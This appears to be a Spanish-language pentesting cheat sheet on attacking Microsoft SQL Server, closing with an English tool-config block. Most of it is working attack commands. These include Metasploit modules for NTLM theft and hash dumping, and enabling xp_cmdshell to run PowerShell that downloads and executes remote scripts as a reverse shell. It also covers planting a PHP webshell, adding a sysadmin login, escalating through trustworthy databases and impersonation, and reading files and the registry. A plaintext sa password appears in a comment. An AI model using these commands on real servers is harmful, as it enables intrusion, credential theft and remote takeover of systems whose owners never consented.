Microsoft SQL Server es un sistema de gestión de bases de datos relacional desarrollado por Microsoft. Como servidor de bases de datos, es un producto de software con la función principal de almacenar y recuperar datos solicitados por otras aplicaciones de software, que pueden ejecutarse en la misma computadora o en otra computadora a través de una red (incluida Internet).\
Puerto predeterminado: 1433
1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM
Tablas del Sistema MS-SQL por Defecto
Base de datos master: Esta base de datos es crucial ya que captura todos los detalles a nivel del sistema para una instancia de SQL Server.
Base de datos msdb: El Agente de SQL Server utiliza esta base de datos para gestionar la programación de alertas y trabajos.
Base de datos model: Actúa como un modelo para cada nueva base de datos en la instancia de SQL Server, donde cualquier alteración como tamaño, intercalación, modelo de recuperación y más se reflejan en las bases de datos recién creadas.
Base de datos Resource: Una base de datos de solo lectura que alberga objetos del sistema que vienen con SQL Server. Estos objetos, aunque se almacenan físicamente en la base de datos Resource, se presentan lógicamente en el esquema sys de cada base de datos.
Base de datos tempdb: Sirve como un área de almacenamiento temporal para objetos transitorios o conjuntos de resultados intermedios.
Si no tienes credenciales puedes intentar adivinarlas. Puedes usar nmap o metasploit. Ten cuidado, puedes bloquear cuentas si fallas al iniciar sesión varias veces usando un nombre de usuario existente.
Metasploit (necesita credenciales)
#Set USERNAME, RHOSTS and PASSWORD#Set DOMAIN and USE_WINDOWS_AUTHENT if domain is used#Steal NTLMmsf>useauxiliary/admin/mssql/mssql_ntlm_stealer#Steal NTLM hash, before executing run Responder#Info gatheringmsf>useadmin/mssql/mssql_enum#Security checksmsf>useadmin/mssql/mssql_enum_domain_accountsmsf>useadmin/mssql/mssql_enum_sql_loginsmsf>useauxiliary/admin/mssql/mssql_findandsampledatamsf>useauxiliary/scanner/mssql/mssql_hashdumpmsf>useauxiliary/scanner/mssql/mssql_schemadump#Search for insteresting datamsf>useauxiliary/admin/mssql/mssql_findandsampledatamsf>useauxiliary/admin/mssql/mssql_idf#Privescmsf>useexploit/windows/mssql/mssql_linkcrawlermsf>useadmin/mssql/mssql_escalate_execute_as#If the user has IMPERSONATION privilege, this will try to escalatemsf>useadmin/mssql/mssql_escalate_dbowner#Escalate from db_owner to sysadmin#Code executionmsf>useadmin/mssql/mssql_exec#Execute commandsmsf>useexploit/windows/mssql/mssql_payload#Uploads and execute a payload#Add new admin user from meterpreter sessionmsf>usewindows/manage/mssql_local_auth_bypass
# Using Impacket mssqlclient.pymssqlclient.py [-db volume]<DOMAIN>/<USERNAME>:<PASSWORD>@<IP>## Recommended -windows-auth when you are going to use a domain. Use as domain the netBIOS name of the machinemssqlclient.py [-db volume]-windows-auth<DOMAIN>/<USERNAME>:<PASSWORD>@<IP># Using sqshsqsh-S<IP>-U<Username>-P<Password>-D<Database>## In case Windows Auth using "." as domain name for local usersqsh-S<IP>-U.\\<Username>-P<Password>-D<Database>## In sqsh you need to use GO after writting the query to send it1>select 1;2> go
Enumeración Común
# Getversionselect @@version;# Get userselectuser_name();# Get databasesSELECTnameFROM master.dbo.sysdatabases;# UsedatabaseUSEmaster#Gettable namesSELECT*FROM<databaseName>.INFORMATION_SCHEMA.TABLES;#List Linked ServersEXEC sp_linkedserversSELECT*FROM sys.servers;#List usersselect sp.name as login, sp.type_desc as login_type, sl.password_hash, sp.create_date, sp.modify_date, case when sp.is_disabled = 1 then 'Disabled' else 'Enabled' end as status from sys.server_principals sp left join sys.sql_logins sl on sp.principal_id = sl.principal_id where sp.type not in ('G', 'R') order by sp.name;
#Create user with sysadmin privsCREATELOGIN hacker WITHPASSWORD='P@ssword123!'EXEC sp_addsrvrolemember 'hacker', 'sysadmin'
# Get all the users and rolesselect*from sys.database_principals;## This query filters a bit the resultsselectname,create_date,modify_date,type_descastype,authentication_type_desc as authentication_type,sidfrom sys.database_principalswheretypenotin ('A', 'R')order byname;## Both of these select all the users of the current database (not the server).## Interesting when you cannot acces the table sys.database_principalsEXEC sp_helpuserSELECT*FROM sysusers
Obtener Permisos
Securable: Definido como los recursos gestionados por SQL Server para el control de acceso. Estos se categorizan en:
Servidor – Ejemplos incluyen bases de datos, inicios de sesión, puntos de conexión, grupos de disponibilidad y roles de servidor.
Base de datos – Ejemplos abarcan roles de base de datos, roles de aplicación, esquema, certificados, catálogos de texto completo y usuarios.
Esquema – Incluye tablas, vistas, procedimientos, funciones, sinónimos, etc.
Permiso: Asociado con securables de SQL Server, permisos como ALTER, CONTROL y CREATE pueden ser otorgados a un principal. La gestión de permisos ocurre en dos niveles:
A nivel de Servidor utilizando inicios de sesión
A nivel de Base de datos utilizando usuarios
Principal: Este término se refiere a la entidad a la que se le otorgan permisos sobre un securable. Los principales incluyen principalmente inicios de sesión y usuarios de base de datos. El control sobre el acceso a securables se ejerce mediante la concesión o denegación de permisos o incluyendo inicios de sesión y usuarios en roles equipados con derechos de acceso.
# Show all different securables namesSELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);# Show all possible permissions in MSSQLSELECT*FROM sys.fn_builtin_permissions(DEFAULT);# Get all my permissions over securable typeSERVERSELECT*FROM fn_my_permissions(NULL, 'SERVER');# Get all my permissions over a databaseUSE<database>SELECT*FROM fn_my_permissions(NULL, 'DATABASE');# Get members of the role"sysadmin"UsemasterEXEC sp_helpsrvrolemember 'sysadmin';# Getif the current user is sysadminSELECTIS_SRVROLEMEMBER('sysadmin');# Get users that can run xp_cmdshellUsemasterEXEC sp_helprotect 'xp_cmdshell'
Trucos
Ejecutar Comandos del Sistema Operativo
Ten en cuenta que para poder ejecutar comandos no solo es necesario tener xp_cmdshellhabilitado, sino también tener el permiso de EJECUCIÓN en el procedimiento almacenado xp_cmdshell. Puedes verificar quién (excepto los sysadmins) puede usar xp_cmdshell con:
UsemasterEXEC sp_helprotect 'xp_cmdshell'
# Username + Password + CMD commandcrackmapexecmssql-d<Domainname>-u<username>-p<password>-x"whoami"# Username + Hash + PS commandcrackmapexecmssql-d<Domainname>-u<username>-H<HASH>-X'$PSVersionTable'# Check if xp_cmdshell is enabledSELECT*FROMsys.configurationsWHEREname='xp_cmdshell';# This turns on advanced options and is needed to configure xp_cmdshellsp_configure'show advanced options','1'RECONFIGURE#This enables xp_cmdshellsp_configure'xp_cmdshell','1'RECONFIGURE#One linersp_configure'Show Advanced Options',1; RECONFIGURE; sp_configure'xp_cmdshell',1; RECONFIGURE;# Quickly check what the service account is via xp_cmdshellEXECmaster..xp_cmdshell'whoami'# Get Rev shellEXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.13:8000/rev.ps1") | powershell -noprofile'
# Bypass blackisted "EXEC xp_cmdshell"'; DECLARE @x AS VARCHAR(100)='xp_cmdshell'; EXEC @x 'pingk7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net' —
Robo de hash NetNTLM / Ataque de relay
Debes iniciar un servidor SMB para capturar el hash utilizado en la autenticación (impacket-smbserver o responder por ejemplo).
Para escribir archivos usando MSSQL, necesitamos habilitarProcedimientos de Automatización Ole, lo cual requiere privilegios de administrador, y luego ejecutar algunos procedimientos almacenados para crear el archivo:
# Enable Ole Automation Proceduressp_configure'show advanced options',1RECONFIGUREsp_configure'Ole Automation Procedures',1RECONFIGURE# Create a FileDECLARE@OLEINTDECLARE@FileIDINTEXECUTEsp_OACreate'Scripting.FileSystemObject',@OLEOUTEXECUTEsp_OAMethod@OLE,'OpenTextFile',@FileIDOUT,'c:\inetpub\wwwroot\webshell.php',8,1EXECUTEsp_OAMethod@FileID,'WriteLine',Null,'<?php echo shell_exec($_GET["c"]);?>'EXECUTEsp_OADestroy@FileIDEXECUTEsp_OADestroy@OLE
Leer archivo con OPENROWSET
Por defecto, MSSQL permite leer archivos en cualquier archivo en el sistema operativo al que la cuenta tenga acceso de lectura. Podemos usar la siguiente consulta SQL:
SELECT*FROMOPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
Sin embargo, la opción BULK requiere el permiso ADMINISTER BULK OPERATIONS o el permiso ADMINISTER DATABASE BULK OPERATIONS.
# Checkif you have itSELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';
MSSQL podría permitirte ejecutar scripts en Python y/o R. Este código será ejecutado por un usuario diferente al que utiliza xp_cmdshell para ejecutar comandos.
Ejemplo intentando ejecutar un 'R'"¡Hola Mundo!"que no funciona:
Ejemplo usando Python configurado para realizar varias acciones:
# Print the user being used (andexecute commands)EXECUTE sp_execute_external_script @language =N'Python', @script =N'print(__import__("getpass").getuser())'EXECUTE sp_execute_external_script @language =N'Python', @script =N'print(__import__("os").system("whoami"))'#Openandread a fileEXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())'
#MultilineEXECUTE sp_execute_external_script @language =N'Python', @script = N'import sysprint(sys.version)'GO
Leer Registro
Microsoft SQL Server proporciona múltiples procedimientos almacenados extendidos que te permiten interactuar no solo con la red, sino también con el sistema de archivos e incluso el Registro de Windows:
EXECUTE master.sys.xp_instance_regwrite 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue', 'REG_SZ', 'Now you see me!';
RCE con Función Definida por el Usuario de MSSQL - SQLHttp
Es posible cargar un archivo .NET dentro de MSSQL con funciones personalizadas. Sin embargo, esto requiere acceso como dbo, por lo que necesitas una conexión con la base de datos como sa o con un rol de Administrador.
Si a un usuario regular se le otorga el rol db_owner sobre la base de datos propiedad de un usuario administrador (como sa) y esa base de datos está configurada como trustworthy, ese usuario puede abusar de estos privilegios para escalada de privilegios porque los procedimientos almacenados creados allí pueden ejecutarse como el propietario (administrador).
# Get owners of databasesSELECTsuser_sname(owner_sid) FROM sys.databases# Find trustworthy databasesSELECT a.name,b.is_trustworthy_onFROMmaster..sysdatabases as aINNER JOIN sys.databases as bON a.name=b.name;# Get roles over the selected database (look for your username as db_owner)USE<trustworthy_db>SELECT rp.name as database_role, mp.name as database_userfrom sys.database_role_members drmjoin sys.database_principals rp on (drm.role_principal_id = rp.principal_id)join sys.database_principals mp on (drm.member_principal_id = mp.principal_id)# If you found you are db_owner of a trustworthydatabase, you can privesc:--1. Create a stored procedure to add your user to sysadmin roleUSE<trustworthy_db>CREATEPROCEDURE sp_elevate_meWITHEXECUTEASOWNERASEXEC sp_addsrvrolemember 'USERNAME','sysadmin'--2. Execute stored procedure to get sysadmin roleUSE<trustworthy_db>EXEC sp_elevate_me--3. Verify your user is a sysadminSELECTis_srvrolemember('sysadmin')
SQL Server tiene un permiso especial, llamado IMPERSONATE, que permite al usuario en ejecución asumir los permisos de otro usuario o inicio de sesión hasta que se restablezca el contexto o finalice la sesión.
# Find users you can impersonateSELECT distinct b.nameFROM sys.server_permissions aINNER JOIN sys.server_principals bON a.grantor_principal_id = b.principal_idWHERE a.permission_name ='IMPERSONATE'# Checkif the user "sa"or any other high privileged user is mentioned# Impersonate sa userEXECUTEASLOGIN='sa'SELECT SYSTEM_USERSELECTIS_SRVROLEMEMBER('sysadmin')
Si puedes hacerse pasar por un usuario, incluso si no es sysadmin, debes verificar si el usuario tiene acceso a otras bases de datos o servidores vinculados.
Ten en cuenta que una vez que eres sysadmin, puedes hacerse pasar por cualquier otro usuario:
-- Impersonate RegUserEXECUTEASLOGIN='RegUser'-- Verify you are now running as the the MyUser4 loginSELECT SYSTEM_USERSELECTIS_SRVROLEMEMBER('sysadmin')-- Change back to saREVERT
Puedes realizar este ataque con un módulo de metasploit:
Extrayendo contraseñas de SQL Server Linked Servers
Un atacante puede extraer contraseñas de SQL Server Linked Servers de las instancias de SQL y obtenerlas en texto claro, otorgando al atacante contraseñas que pueden ser utilizadas para obtener un mayor control sobre el objetivo. El script para extraer y descifrar las contraseñas almacenadas para los Linked Servers se puede encontrar aquí
Se deben realizar algunos requisitos y configuraciones para que este exploit funcione. En primer lugar, debes tener derechos de administrador en la máquina, o la capacidad de gestionar las configuraciones de SQL Server.
Después de validar tus permisos, necesitas configurar tres cosas, que son las siguientes:
Habilitar TCP/IP en las instancias de SQL Server;
Agregar un parámetro de inicio, en este caso, se agregará un indicador de seguimiento, que es -T7806.
Habilitar la conexión de administrador remoto.
Para automatizar estas configuraciones, este repositorio tiene los scripts necesarios. Además de tener un script de PowerShell para cada paso de la configuración, el repositorio también tiene un script completo que combina los scripts de configuración y la extracción y descifrado de las contraseñas.
El usuario que ejecuta el servidor MSSQL habrá habilitado el token de privilegio SeImpersonatePrivilege.
Probablemente podrás escalar a Administrador siguiendo una de estas 2 páginas:
Protocol_Name: MSSQL #Protocol Abbreviation if there is one.
Port_Number: 1433 #Comma separated if there is more than one.
Protocol_Description: Microsoft SQL Server #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for MSSQL
Note: |
Microsoft SQL Server is a relational database management system developed by Microsoft. As a database server, it is a software product with the primary function of storing and retrieving data as requested by other software applications—which may run either on the same computer or on another computer across a network (including the Internet).
#sqsh -S 10.10.10.59 -U sa -P GWE3V65#6KFH93@4GWTG2G
###the goal is to get xp_cmdshell working###
1. try and see if it works
xp_cmdshell `whoami`
go
2. try to turn component back on
EXEC SP_CONFIGURE 'xp_cmdshell' , 1
reconfigure
go
xp_cmdshell `whoami`
go
3. 'advanced' turn it back on
EXEC SP_CONFIGURE 'show advanced options', 1
reconfigure
go
EXEC SP_CONFIGURE 'xp_cmdshell' , 1
reconfigure
go
xp_cmdshell 'whoami'
go
xp_cmdshell "powershell.exe -exec bypass iex(new-object net.webclient).downloadstring('http://10.10.14.60:8000/ye443.ps1')"
https://book.hacktricks.xyz/pentesting/pentesting-mssql-microsoft-sql-server
Entry_2:
Name: Nmap for SQL
Description: Nmap with SQL Scripts
Command: nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 {IP}
Entry_3:
Name: MSSQL consolesless mfs enumeration
Description: MSSQL enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_ping; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_enum; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use admin/mssql/mssql_enum_domain_accounts; set RHOSTS {IP}; set RPORT <PORT>; run; exit' &&msfconsole -q -x 'use admin/mssql/mssql_enum_sql_logins; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_dbowner; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_execute_as; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_exec; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_findandsampledata; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_hashdump; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_schemadump; set RHOSTS {IP}; set RPORT <PORT>; run; exit'